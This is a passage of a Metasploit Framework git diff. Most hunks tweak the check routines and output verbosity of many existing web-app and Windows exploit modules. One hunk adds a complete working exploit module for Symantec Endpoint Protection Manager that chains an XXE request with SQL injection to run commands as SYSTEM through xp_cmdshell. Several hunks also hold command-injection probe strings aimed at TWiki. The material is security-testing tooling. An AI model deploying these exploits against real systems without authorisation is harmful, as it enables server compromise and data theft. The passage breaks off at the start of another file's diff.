     if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
 
       ver = [ $1.to_i, $2.to_i, $3.to_i ]
-      print_status("Simple PHP Blog #{ver.join('.')}")
+      vprint_status("Simple PHP Blog #{ver.join('.')}")
 
       if (ver[0] == 0 and ver[1] < 5)
         if (ver[1] == 4 and ver[2] > 0)
           return Exploit::CheckCode::Safe
         end
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
     end
 
diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb
index e7e821bf1c..0333f6ad1b 100644
--- a/modules/exploits/unix/webapp/spip_connect_exec.rb
+++ b/modules/exploits/unix/webapp/spip_connect_exec.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
     vprint_status("SPIP Version detected: #{version}")
 
     if version =~ /^2\.0/ and version < "2.0.21"
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif version =~ /^2\.1/ and version < "2.1.16"
       return Exploit::CheckCode::Appears
     elsif version =~ /^3\.0/ and version < "3.0.3"
diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb
index 632ad5f357..fd6fe00363 100644
--- a/modules/exploits/unix/webapp/squash_yaml_exec.rb
+++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb
@@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
       })
 
     if response.code == 422
-      print_status("Got HTTP 422 result, target may be vulnerable")
+      vprint_status("Got HTTP 422 result, target may be vulnerable")
       return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
index 1a540d4a13..e9116a64bd 100644
--- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
+      'Name'           => 'SugarCRM unserialize() PHP Code Execution',
       'Description'    => %q{
           This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
         which could be abused to allow authenticated SugarCRM users to execute arbitrary
diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
index 2322a13a9d..6d1469c346 100644
--- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
@@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
         return Exploit::CheckCode::Safe if (ver2 > 8)
         return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
       end
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
index 90757d4519..7aa18c42ea 100644
--- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
     http_fingerprint({ :response => res })  # check method
 
     if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/))
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
index a476b9b900..b399de9708 100644
--- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
+      'Name'           => 'Tiki Wiki unserialize() PHP Code Execution',
       'Description'    => %q{
           This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
         which could be abused to allow unauthenticated users to execute arbitrary code
diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb
index 09abcf49e0..133b26b8a0 100644
--- a/modules/exploits/unix/webapp/trixbox_langchoice.rb
+++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb
@@ -62,37 +62,37 @@ class Metasploit3 < Msf::Exploit::Remote
     uri = normalize_uri(datastore['URI'])
     target_code = 200
 
-    print_status "Attempting to POST to #{uri}"
+    vprint_status "Attempting to POST to #{uri}"
     response = send_request_cgi({'uri' => uri, 'method' => 'POST'})
 
     unless defined? response
-      print_error 'Server did not respond to HTTP POST request'
-      return Exploit::CheckCode::Safe
+      vprint_error 'Server did not respond to HTTP POST request'
+      return Exploit::CheckCode::Unknown
     end
 
     code = response.code
 
     unless code == target_code
-      print_error "Expected HTTP code #{target_code}, but got #{code}."
+      vprint_error "Expected HTTP code #{target_code}, but got #{code}."
       return Exploit::CheckCode::Safe
     end
 
-    print_status "We received the expected HTTP code #{target_code}"
+    vprint_status "We received the expected HTTP code #{target_code}"
 
     # We will need the cookie PHPSESSID to continue
     cookies = response.headers['Set-Cookie']
 
     # Make sure cookies were set
     if defined? cookies and cookies =~ PHPSESSID_REGEX
-      print_status "We were successfully sent a PHPSESSID of '#{$1}'"
+      vprint_status "We were successfully sent a PHPSESSID of '#{$1}'"
     else
-      print_error 'The server did not send us the cookie we were looking for'
+      vprint_error 'The server did not send us the cookie we were looking for'
       return Exploit::CheckCode::Safe
     end
 
     # Okay, at this point we're just being silly and hackish.
     unless response.body =~ /langChoice/
-      print_error 'The page does not appear to contain a langChoice field'
+      vprint_error 'The page does not appear to contain a langChoice field'
       return Exploit::CheckCode::Safe
     end
 
@@ -109,17 +109,17 @@ class Metasploit3 < Msf::Exploit::Remote
     # Example footer: v2.6.1 &copy;2008 Fonality
 #		if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}&copy;200[0-8] Fonality/
     if response.body =~ /(v2\.6\.1)\s{2}&copy;2008 Fonality/
-      print_status "Trixbox #{$1} detected!"
-      return Exploit::CheckCode::Vulnerable
+      vprint_status "Trixbox #{$1} detected!"
+      return Exploit::CheckCode::Appears
     end
 
-    print_status 'The target may be skinned making detection too difficult'
+    vprint_status 'The target may be skinned making detection too difficult'
 
     if response.body =~ /trixbox - User Mode/
       return Exploit::CheckCode::Detected
-    else
-      return Exploit::CheckCode::Unknown
     end
+
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb
index cc7aeab507..0d1d620094 100644
--- a/modules/exploits/unix/webapp/twiki_history.rb
+++ b/modules/exploits/unix/webapp/twiki_history.rb
@@ -67,12 +67,12 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri' => test_url
       }, 25)
     if (not res) or (res.code != 404)
-      print_warning("WARNING: The test file exists already!")
-      return Exploit::CheckCode::Safe
+      vprint_warning("WARNING: The test file exists already!")
+      return Exploit::CheckCode::Unknown # Need to try again
     end
 
     # try to create it
-    print_status("Attempting to create #{test_url} ...")
+    vprint_status("Attempting to create #{test_url} ...")
     rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'
     res = send_request_raw({
         'uri' => cmd_base + Rex::Text.uri_encode(rev)
@@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri' => cmd_base + Rex::Text.uri_encode(rev)
       }, 25)
     if (not res) or (res.code != 200)
-      print_warning("WARNING: unable to remove test file (#{test_file})")
+      vprint_warning("WARNING: unable to remove test file (#{test_file})")
     end
 
     return Exploit::CheckCode::Vulnerable
diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb
index f96efa6af0..5a931d0f21 100644
--- a/modules/exploits/unix/webapp/twiki_maketext.rb
+++ b/modules/exploits/unix/webapp/twiki_maketext.rb
@@ -153,15 +153,15 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
       version = $1
-      print_status("Version found: #{version}")
+      vprint_status("Version found: #{version}")
       if version < "5.1.3"
         return Exploit::CheckCode::Appears
       else
-        return Exploit::CheckCode::Safe
+        return Exploit::CheckCode::Detected
       end
     end
 
-    return Exploit::CheckCode::Detected
+    return Exploit::CheckCode::Safe
   end
 
 
diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb
index a09df6375b..2af281e256 100644
--- a/modules/exploits/unix/webapp/twiki_search.rb
+++ b/modules/exploits/unix/webapp/twiki_search.rb
@@ -62,12 +62,12 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri' => test_url
       }, 25)
     if (not res) or (res.body.match(content))
-      print_warning("WARNING: The test file exists already!")
-      return Exploit::CheckCode::Safe
+      vprint_warning("The test file exists already!")
+      return Exploit::CheckCode::Unknown # Need to try again with a different file
     end
 
     # try to create it
-    print_status("Attempting to create #{test_url} ...")
+    vprint_status("Attempting to create #{test_url} ...")
     search = rand_text_numeric(1+rand(5)) + "\';echo${IFS}" + content + "${IFS}>" + test_file + ".txt;#\'"
     res = send_request_raw({
         'uri' => cmd_base + Rex::Text.uri_encode(search)
@@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri' => cmd_base + Rex::Text.uri_encode(search)
       }, 25)
     if (not res) or (res.code != 200)
-      print_warning("WARNING: unable to remove test file (#{test_file})")
+      vprint_warning("WARNING: unable to remove test file (#{test_file})")
     end
 
     return Exploit::CheckCode::Vulnerable
diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
index 44ee6388a8..4d27bc797b 100644
--- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
+++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
@@ -272,9 +272,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")
     post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
 
-    # Work around an incompatible MIME implementation
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi({
       'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
@@ -343,7 +341,7 @@ class Metasploit3 < Msf::Exploit::Remote
     node_id = get_node
 
     unless node_id.nil?
-      return Msf::Exploit::CheckCode::Vulnerable
+      return Msf::Exploit::CheckCode::Appears
     end
 
     res = send_request_cgi({
@@ -351,10 +349,10 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
-      return Msf::Exploit::CheckCode::Detected
+      return Msf::Exploit::CheckCode::Appears
     end
 
-    return Msf::Exploit::CheckCode::Unknown
+    return Msf::Exploit::CheckCode::Safe
   end
 
   def on_new_session(session)
diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
index becbb997bc..dcf88c8a12 100644
--- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
+++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
@@ -164,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote
       end
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
index 5e932cffe7..9de059083a 100644
--- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
+++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     peer = "#{rhost}:#{rport}"
 
-    print_status("#{peer} - Attempting to login...")
+    vprint_status("#{peer} - Attempting to login...")
 
     data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
 
@@ -76,14 +76,14 @@ class Metasploit3 < Msf::Exploit::Remote
       }, 25)
 
     if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
-      print_good "#{peer} - Authentication successful"
+      vprint_good "#{peer} - Authentication successful"
       session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
     else
-      print_error "#{peer} - Authentication failed"
-      return Exploit::CheckCode::Unknown
+      vprint_error "#{peer} - Service found, but authentication failed"
+      return Exploit::CheckCode::Detected
     end
 
-    print_status("#{peer} - Attempting to execute...")
+    vprint_status("#{peer} - Attempting to execute...")
 
     command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
 
@@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 
     if res and res.code == 200 and res.message =~ /Document follows/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Vulnerable
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb
index 96bb9c7cae..12d8dbb6cb 100644
--- a/modules/exploits/unix/webapp/webtester_exec.rb
+++ b/modules/exploits/unix/webapp/webtester_exec.rb
@@ -26,8 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote
         ],
       'References'     =>
         [
-          ['OSVDB'     => '98750'],
-          ['URL'       => 'https://sourceforge.net/p/webtesteronline/bugs/3/']
+          ['OSVDB',    '98750'],
+          ['URL',      'https://sourceforge.net/p/webtesteronline/bugs/3/']
         ],
       'Payload'        =>
         {
@@ -59,16 +59,16 @@ class Metasploit3 < Msf::Exploit::Remote
     res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
 
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
     if res.body =~ /Eppler Software/
       if res.body =~ / - v5\.1\.20101016/
-        print_status("#{peer} - Found version: 5.1.20101016")
-        return Exploit::CheckCode::Vulnerable
+        vprint_status("#{peer} - Found version: 5.1.20101016")
+        return Exploit::CheckCode::Appears
       elsif res.body =~ / - v(5\.[\d\.]+)/
-        print_status("#{peer} - Found version: #{$1}")
+        vprint_status("#{peer} - Found version: #{$1}")
         return Exploit::CheckCode::Appears
       else
         return Exploit::CheckCode::Detected
diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
index 321429410d..bdb1719f9c 100644
--- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
+++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
@@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
index 2090e004a2..09f4f1396f 100644
--- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
+++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     data = Rex::MIME::Message.new
     data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
 
     print_status("#{peer} - Uploading payload #{payload_name}")
     res = send_request_cgi({
diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
index c8cd1a4cec..d52ecda3a8 100644
--- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
+++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
@@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb
index c23d19e69f..0d576a5d8c 100644
--- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb
+++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb
@@ -54,12 +54,11 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    uri =  target_uri.path
-    uri << '/' if uri[-1,1] != '/'
+    uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
 
     res = send_request_cgi({
       'method' => 'GET',
-      'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
+      'uri'    => uri
     })
 
     if not res or res.code != 200
@@ -70,8 +69,8 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def exploit
-    uri =  target_uri.path
-    uri << '/' if uri[-1,1] != '/'
+    data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/')
+    request_uri = normalize_uri(data_uri, 'uploadify.php')
 
     peer = "#{rhost}:#{rport}"
 
@@ -80,13 +79,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
     data = Rex::MIME::Message.new
     data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
-    data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
+    post_data = data.to_s
 
     print_status("#{peer} - Uploading payload #{@payload_name}")
     res = send_request_cgi({
       'method' => 'POST',
-      'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
+      'uri'    => request_uri,
       'ctype'  => "multipart/form-data; boundary=#{data.bound}",
       'data'   => post_data
     })
@@ -95,12 +94,16 @@ class Metasploit3 < Msf::Exploit::Remote
       fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
     end
 
-    upload_uri = res.body
+    upload_uri = normalize_uri(res.body)
 
     print_status("#{peer} - Executing payload #{@payload_name}")
     res = send_request_raw({
       'uri'    => upload_uri,
       'method' => 'GET'
     })
+
+    if res and res.code != 200
+        fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
+    end
   end
 end
diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb
index b33a939eb8..0ad5036393 100644
--- a/modules/exploits/unix/webapp/xoda_file_upload.rb
+++ b/modules/exploits/unix/webapp/xoda_file_upload.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body =~ /Upload a file/
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb
index 223c23387f..8558d6edcb 100644
--- a/modules/exploits/unix/webapp/zeroshell_exec.rb
+++ b/modules/exploits/unix/webapp/zeroshell_exec.rb
@@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     unless password.nil?
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb
index 85800e522e..bdb1e08464 100644
--- a/modules/exploits/unix/webapp/zimbra_lfi.rb
+++ b/modules/exploits/unix/webapp/zimbra_lfi.rb
@@ -215,7 +215,6 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
 
     n_data = post_data.to_s
-    n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     res = send_request_cgi({
       'uri'             => normalize_uri("service", "extension", "clientUploader", "upload"),
diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
index b8daa7a0c7..3f8dab74c2 100644
--- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
+++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
@@ -81,19 +81,19 @@ class Metasploit3 < Msf::Exploit::Remote
       })
       if res and res.code == 200
         if res.body =~ /<title>ZM - Login<\/title>/
-          print_error("#{peer} - Authentication failed")
-          return Exploit::CheckCode::Unknown
+          vprint_error("#{peer} - Service found, but authentication failed")
+          return Exploit::CheckCode::Detected
         elsif res.body =~ /v1.2(4\.\d+|5\.0)/
           return Exploit::CheckCode::Appears
         elsif res.body =~ /<title>ZM/
           return Exploit::CheckCode::Detected
         end
       end
-      return Exploit::CheckCode::Safe
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
 
   end
 
diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb
index adbe4790d0..e4508a5448 100644
--- a/modules/exploits/unix/webapp/zpanel_username_exec.rb
+++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb
@@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb
new file mode 100644
index 0000000000..ff2e97a734
--- /dev/null
+++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb
@@ -0,0 +1,124 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include REXML
+  include Msf::Exploit::CmdStagerVBS
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Symantec Endpoint Protection Manager Remote Command Execution',
+      'Description'    => %q{
+        This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
+        versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
+        can reach SQL injection affected components. As xp_cmdshell is enabled in the included
+        database instance, it's possible to execute arbitrary system commands on the target
+        with SYSTEM privileges.
+      },
+      'Author'         =>
+        [
+          'Stefan Viehbock', # Discovery
+          'Chris Graham', # PoC exploit
+          'xistence <xistence[at]0x90.nl>' # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2013-5014' ],
+          [ 'CVE', '2013-5015' ],
+          [ 'EDB', '31853'],
+          [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
+        ],
+      'Arch'           => ARCH_X86,
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Windows VBS Stager', {}]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Feb 24 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(9090),
+        OptString.new('TARGETURI', [true, 'The base path', '/'])
+      ], self.class)
+  end
+
+  def check
+    res = send_request_cgi(
+      {
+        'uri'   =>  normalize_uri(target_uri.path),
+        'method' => 'GET',
+      })
+
+    if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
+      return Exploit::CheckCode::Appears
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("#{peer} - Sending payload")
+    # Execute the cmdstager, max length of the commands is ~3950
+    execute_cmdstager({:linemax => 3950})
+  end
+
+  def execute_command(cmd, opts = {})
+    # Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
+    command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"
+
+    # Generate random 'xx032xxxx' sequence number.
+    seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"
+
+    soap = soap_request(seqnum, command)
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
+    xxe = post_data.to_s
+
+    res = send_request_cgi(
+      {
+        'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
+        'method' => 'POST',
+        'vars_get' => { 'ActionType' => 'ConsoleLog' },
+        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
+        'data' => xxe,
+      })
+
+    if res and res.body !~ /ResponseCode/
+      fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
+    end
+  end
+
+  def soap_request(seqnum, command)
+    randpayload = rand_text_alpha(8+rand(8))
+    randxxe = rand_text_alpha(8+rand(8))
+    entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"
+    entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"
+
+    xml = Document.new
+    xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
+    xml.add_element("Request")
+    xxe = xml.root.add_element(randxxe)
+    xxe.text = "PAYLOAD"
+
+    xml_s = xml.to_s
+    xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
+    xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding
+
+    xml_s
+  end
+
+end
+
diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb
index a9ad2d65b4..3fce25e2a8 100644
--- a/modules/exploits/windows/arkeia/type77.rb
+++ b/modules/exploits/windows/arkeia/type77.rb
@@ -64,18 +64,18 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Safe
     end
 
-    print_status("Arkeia Server Information:")
+    vprint_status("Arkeia Server Information:")
     info.each_pair { |k,v|
-      print_status("   #{k + (" " * (30-k.length))} = #{v}")
+      vprint_status("   #{k + (" " * (30-k.length))} = #{v}")
     }
 
     if (info['System'] !~ /Windows/)
-      print_status("This module only supports Windows targets")
+      vprint_status("This module only supports Windows targets")
       return Exploit::CheckCode::Detected
     end
 
     if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb
index 6f11e89844..2fd714b4ab 100644
--- a/modules/exploits/windows/backupexec/remote_agent.rb
+++ b/modules/exploits/windows/backupexec/remote_agent.rb
@@ -72,12 +72,12 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     info = ndmp_info()
     if (info and info['Version'])
-      print_status(" Vendor: #{info['Vendor']}")
-      print_status("Product: #{info['Product']}")
-      print_status("Version: #{info['Version']}")
+      vprint_status(" Vendor: #{info['Vendor']}")
+      vprint_status("Product: #{info['Product']}")
+      vprint_status("Version: #{info['Version']}")
 
       if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
-        return Exploit::CheckCode::Detected
+        return Exploit::CheckCode::Appears
       end
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb
index 57867e4d04..0e3954fe41 100644
--- a/modules/exploits/windows/brightstor/lgserver.rb
+++ b/modules/exploits/windows/brightstor/lgserver.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
+      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
         for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb
index 2ab16594ab..78a7e9d97b 100644
--- a/modules/exploits/windows/brightstor/lgserver_multi.rb
